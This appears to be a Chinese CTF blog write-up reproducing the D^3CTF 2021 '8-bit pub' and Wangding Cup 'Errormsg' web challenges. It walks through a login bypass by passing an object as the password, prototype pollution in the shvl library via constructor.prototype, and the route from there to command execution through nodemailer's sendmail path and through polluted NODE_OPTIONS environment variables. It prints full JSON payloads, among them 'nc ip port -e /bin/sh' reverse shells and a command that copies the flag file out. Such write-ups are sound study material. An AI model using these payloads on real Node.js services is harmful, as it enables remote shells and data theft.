- 0.1:原题(Ant X D^3 CTF 2021 8-bit pub)
- 0.2:网鼎杯Errormsg
- 0.3:废话部分
网鼎被二进制大哥全程带飞,就是有点可惜没进决赛,赛中有一道挺有意思的js题,听学长说是原题直接秒掉了(草,当时比赛好像就二三十解,现在赛后复现一手。
原题(Ant X D^3 CTF 2021 8-bit pub)
既然是原题,那就顺手把这道也复现了,等不及看Errormsg的可以直接拉到最下面(bushi
github题目仓库:CTFChallenges/D3CTF2021/8-bit_pub at main · crumbledwall/CTFChallenges (github.com)
下载下来之后直接docker-compose一键搭建,访问本地127.0.0.1:3000
经典开局一个登录界面其他全靠猜
不过当时比赛应该是有给源码的,所以我们直接开审
首先找一下登录的逻辑部分,我们应该是要拿到admin的,所以这里就直接找到signin路由
跟进到user.signin
函数
发现这里有一个sql的操作,但是用的是占位符操作,所以不能直接注入,翻阅文档
意味着当我们传入Object的时候,参数会被转化成key=value
的格式拼⼊
那么我们就可以构造{"username":"admin", "password":{"password": true}}
,相当于万能密码,传入后登录成功,进入admin
进入admin界面是这样的
注意到我们在登录admin后可以发邮件,源码在这里:
这里使用shvl
库进行赋值,翻看一下package.json
,我们发现版本号是2.0.2
去github看一下源码的更新,diff一下2.0.2
和2.0.1
的源码发现:
作者把proto
ban掉了,不过没有关系,我们依然可以使用constructor.prototype
来bypass,从而进行原型链污染,POC在这里:
那么现在就有两种做法
1.利用nodemailer
跟进一下send函数,发现使用的是nodemailer发送邮件
在lib/sendmail-transport/index.js
中找到这么一行
关键就是这里的spawn
,我们查找一下path是在哪里赋值的:
这里options
是一个对象,是从前面实例化的时候传进来的
再来看看args
this.args
也是在上面赋值的
那么我们通过原型链污染可以同时控制这两个参数,继续往前推,我们发现
这里实例化了我们刚刚找到的那个利用点所在的类,所以我们只要使option.sendmail
为true
就可以使其实例化目标类
最后就回到这里了
所以我们需要污染三个参数:
sendmail -> true
path -> command which we want to execute
args -> an array containing the arguments to execute the command
payload:
{
"constructor.prototype.sendmail":true,
"constructor.prototype.path":"sh",
"constructor.prototype.args":[
"-c",
"nc ip port -e /bin/sh"
]
}
反弹shell,拿下
也可以通过写到/tmp/xxx.txt中,通过邮件的方式带出来,这里我本地没配smtp,就不用这种方法了
payload也放在这里
{
"constructor.prototype.sendmail":true,
"constructor.prototype.path":"sh",
"constructor.prototype.args":[
"-c",
"/readflag > /tmp/flag.txt"
]
}
用attachments带出:
{
"to":"i@example.com",
"subject":"flag",
"constructor.prototype.attachments":[
{
"filename":"flag.txt",
"path":"/tmp/flag.txt"
}
]
}
2.污染环境变量
这里就比较直接了,因为nodemailer是有requirechild_process
库的,那么我们可以使用Abusing Environment Variables (p6.is)方法,污染env和shell,先放payload
{
"constructor.prototype.sendmail": True,
"constructor.prototype.shell":"node",
"constructor.prototype.env.NODE_DEBUG": "require('child_process').execSync('nc ip port -e /bin/bash');process.exit();//",
"constructor.prototype.env.NODE_OPTIONS":"-r /proc/self/environ"
}
这里污染了环境变量之后,每次以node执行命令的时候,就会加载NODE_OPTIONS
选项,从而执行/proc/self/environ
中存在的js代码,那么就很简单了,当默认使用发邮件的时候,spawn会调用默认的shell,也就是/bin/sh
那么我们可以通过将shell污染成node,使得spawn的file变成node,这样就可以执行node命令了,当执行node命令时就会加载NODE_OPTIONS
的选项,从而执行环境变量中的js代码,达到命令执行的目的。
这是一个通解,当我们可以污染基类并且可以自主生成子进程的时候,就可以直接RCE。
网鼎杯Errormsg
不知不觉上面那道题复现写了很多,现在回过头来看这道题,显然,这个extend
就是个套皮merge
h函数
不能说很像,只能说一模一样,这里ban了proto
,不影响我们利用constructor.prototype
来进行污染,先注册一个账号,登录,在这里打一个console.log
然后在登录成功的界面使用post传入json数据
可以发现userInfo污染成功(如果污染失败应该打印出的是undefined)
剩下的就不需要多说了,既然能污染了,那就直接按部就班打就行了,这里就不多赘述了。
废话部分
总结一下吧,原型链污染确实见过,但是从原型链污染直接到rce还是我第一次打,只能说题做少了,博客好久没更新了,也是有我一直在摆烂的原因吧,现在已经大二下了,再不好好学习连工作都没得了TUT,加油吧,是时候该拜托惰性了。